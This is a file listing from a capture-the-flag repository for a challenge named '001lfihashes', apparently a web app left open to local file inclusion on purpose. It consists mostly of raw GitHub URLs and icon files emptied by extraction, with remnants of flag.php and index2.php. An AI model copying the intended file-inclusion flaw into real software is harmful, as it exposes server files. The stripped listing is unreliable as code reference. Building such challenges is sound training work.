2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/yaml.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/icons/yarn.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.babelrc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.babelrc -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.editorconfig: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.editorconfig -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.env: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.env -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.eslintignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.eslintignore -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.eslintrc.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.eslintrc.js -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.eslintrc.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.eslintrc.json -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/.gitignore -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/Gruntfile.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/Gruntfile.js -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/PHP.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/PHP.php -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/bower.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/bower.json -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/browserslist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/browserslist -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/c.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/c.c -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/coffeescript.coffee: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/coffeescript.coffee -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/composer.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/composer.lock -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/config.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/config.conf -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/css.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/css.css -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/gif.gif -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/gulpfile.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/gulpfile.js -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/h.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/h.h -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/html.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/html.html -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/illustrator.ai: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/illustrator.ai -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/java.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/java.java -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/javascript.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/javascript.js -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/jpeg.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/jpeg.jpeg -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/jpeg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/jpeg.jpg -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/json.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/json.json -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/less.less: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/less.less -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/liquid.liquid: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/liquid.liquid -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/markdown.markdown: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/markdown.markdown -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/markdown.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/markdown.md -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/package-lock.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/package-lock.json -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/package.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/package.json -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/pdf.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/pdf.pdf -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/photoshop.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/photoshop.psd -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/png.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/png.png -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/pug.pug: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/pug.pug -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/python.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/python.py -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/rollup.config.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/rollup.config.js -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/ruby.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/ruby.rb -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/sass.sass: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/sass.sass -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/scss.scss: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/scss.scss -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/shell.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/shell.sh -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/sql.sql: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/sql.sql -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/stylus.styl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/stylus.styl -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/svg.svg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/svg.svg -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/text.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/text.txt -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/typescript.ts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/typescript.ts -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/vagrantfile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/vagrantfile -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/vue.vue: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/vue.vue -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/webp.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/webp.webp -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/webpack.config.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/webpack.config.js -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/xml.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/xml.xml -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/yarn.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/yarn.lock -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/yml.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/yml.yml -------------------------------------------------------------------------------- /001lfihashes/src/fancy-index/test/zip.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/fancy-index/test/zip.zip -------------------------------------------------------------------------------- /001lfihashes/src/flag.php: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /001lfihashes/src/footer.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/adobe-illustrator.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/back.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 8 | 9 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/code.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/config.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/database.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-binary.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-code.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-directory.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-media.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-pdf.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-text.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/file-zip.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/gear.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/git.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/github.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 13 | 14 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/html.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/js.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/markdown.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/npm.svg: -------------------------------------------------------------------------------- 1 | n -------------------------------------------------------------------------------- /001lfihashes/src/icons/ruby.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/stylus.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/terminal.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/vagrant.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 9 | 10 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/vue.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/webpack.svg: -------------------------------------------------------------------------------- 1 | icon-square-small -------------------------------------------------------------------------------- /001lfihashes/src/icons/xml.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/yaml.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /001lfihashes/src/icons/yarn.svg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /001lfihashes/src/index2.php: -------------------------------------------------------------------------------- 1 | ".$file); 9 | 10 | 11 | } 12 | 13 | ?> 14 | -------------------------------------------------------------------------------- /001lfihashes/src/test/.babelrc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.babelrc -------------------------------------------------------------------------------- /001lfihashes/src/test/.editorconfig: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.editorconfig -------------------------------------------------------------------------------- /001lfihashes/src/test/.env: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.env -------------------------------------------------------------------------------- /001lfihashes/src/test/.eslintignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.eslintignore -------------------------------------------------------------------------------- /001lfihashes/src/test/.eslintrc.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.eslintrc.js -------------------------------------------------------------------------------- /001lfihashes/src/test/.eslintrc.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.eslintrc.json -------------------------------------------------------------------------------- /001lfihashes/src/test/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/.gitignore -------------------------------------------------------------------------------- /001lfihashes/src/test/Gruntfile.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/Gruntfile.js -------------------------------------------------------------------------------- /001lfihashes/src/test/PHP.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/PHP.php -------------------------------------------------------------------------------- /001lfihashes/src/test/bower.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/bower.json -------------------------------------------------------------------------------- /001lfihashes/src/test/browserslist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/browserslist -------------------------------------------------------------------------------- /001lfihashes/src/test/c.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/c.c -------------------------------------------------------------------------------- /001lfihashes/src/test/coffeescript.coffee: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/coffeescript.coffee -------------------------------------------------------------------------------- /001lfihashes/src/test/composer.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/composer.lock -------------------------------------------------------------------------------- /001lfihashes/src/test/config.conf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/config.conf -------------------------------------------------------------------------------- /001lfihashes/src/test/css.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/css.css -------------------------------------------------------------------------------- /001lfihashes/src/test/gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/gif.gif -------------------------------------------------------------------------------- /001lfihashes/src/test/gulpfile.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/gulpfile.js -------------------------------------------------------------------------------- /001lfihashes/src/test/h.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/h.h -------------------------------------------------------------------------------- /001lfihashes/src/test/html.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/html.html -------------------------------------------------------------------------------- /001lfihashes/src/test/illustrator.ai: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/illustrator.ai -------------------------------------------------------------------------------- /001lfihashes/src/test/java.java: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/java.java -------------------------------------------------------------------------------- /001lfihashes/src/test/javascript.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/javascript.js -------------------------------------------------------------------------------- /001lfihashes/src/test/jpeg.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/jpeg.jpeg -------------------------------------------------------------------------------- /001lfihashes/src/test/jpeg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/jpeg.jpg -------------------------------------------------------------------------------- /001lfihashes/src/test/json.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/json.json -------------------------------------------------------------------------------- /001lfihashes/src/test/less.less: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/less.less -------------------------------------------------------------------------------- /001lfihashes/src/test/liquid.liquid: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/liquid.liquid -------------------------------------------------------------------------------- /001lfihashes/src/test/markdown.markdown: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/markdown.markdown -------------------------------------------------------------------------------- /001lfihashes/src/test/markdown.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/markdown.md -------------------------------------------------------------------------------- /001lfihashes/src/test/package-lock.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/package-lock.json -------------------------------------------------------------------------------- /001lfihashes/src/test/package.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/package.json -------------------------------------------------------------------------------- /001lfihashes/src/test/pdf.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/pdf.pdf -------------------------------------------------------------------------------- /001lfihashes/src/test/photoshop.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/photoshop.psd -------------------------------------------------------------------------------- /001lfihashes/src/test/png.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/png.png -------------------------------------------------------------------------------- /001lfihashes/src/test/pug.pug: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/pug.pug -------------------------------------------------------------------------------- /001lfihashes/src/test/python.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/python.py -------------------------------------------------------------------------------- /001lfihashes/src/test/rollup.config.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/rollup.config.js -------------------------------------------------------------------------------- /001lfihashes/src/test/ruby.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/ruby.rb -------------------------------------------------------------------------------- /001lfihashes/src/test/sass.sass: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/sass.sass -------------------------------------------------------------------------------- /001lfihashes/src/test/scss.scss: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/scss.scss -------------------------------------------------------------------------------- /001lfihashes/src/test/shell.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/shell.sh -------------------------------------------------------------------------------- /001lfihashes/src/test/sql.sql: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/sql.sql -------------------------------------------------------------------------------- /001lfihashes/src/test/stylus.styl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/stylus.styl -------------------------------------------------------------------------------- /001lfihashes/src/test/svg.svg: -------------------------------------------------------------------------------- 